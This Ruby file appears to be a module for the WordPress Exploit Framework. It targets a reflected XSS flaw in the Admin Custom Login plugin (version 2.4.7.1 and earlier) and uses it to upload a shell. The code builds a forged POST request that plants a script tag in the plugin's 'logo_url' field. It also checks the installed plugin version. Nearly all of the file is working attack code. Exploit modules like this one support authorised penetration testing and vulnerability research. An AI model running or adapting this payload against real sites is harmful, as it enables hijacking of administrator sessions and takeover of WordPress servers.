# frozen_string_literal: true

class Wpxf::Exploit::AdminCustomLoginReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Admin Custom Login <= 2.4.7.1 Reflected XSS Shell Upload',
      author: [
        'Burak Kelebek', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8759'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html']
      ],
      date: 'Mar 01 2017'
    )
  end

  def check
    check_plugin_version_from_readme('admin-custom-login', '2.4.7.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=admin_custom_login')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'Action'         => 'logoSave',
      'logo_image'     => normalize_uri(wordpress_url_uploads, "#{Utility::Text.rand_alpha(5)}.jpg"),
      'logo_width'     => Utility::Text.rand_numeric(2),
      'logo_height'    => Utility::Text.rand_numeric(2),
      'logo_url'       => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'logo_url_title' => Utility::Text.rand_alpha(10)
    )
  end
end
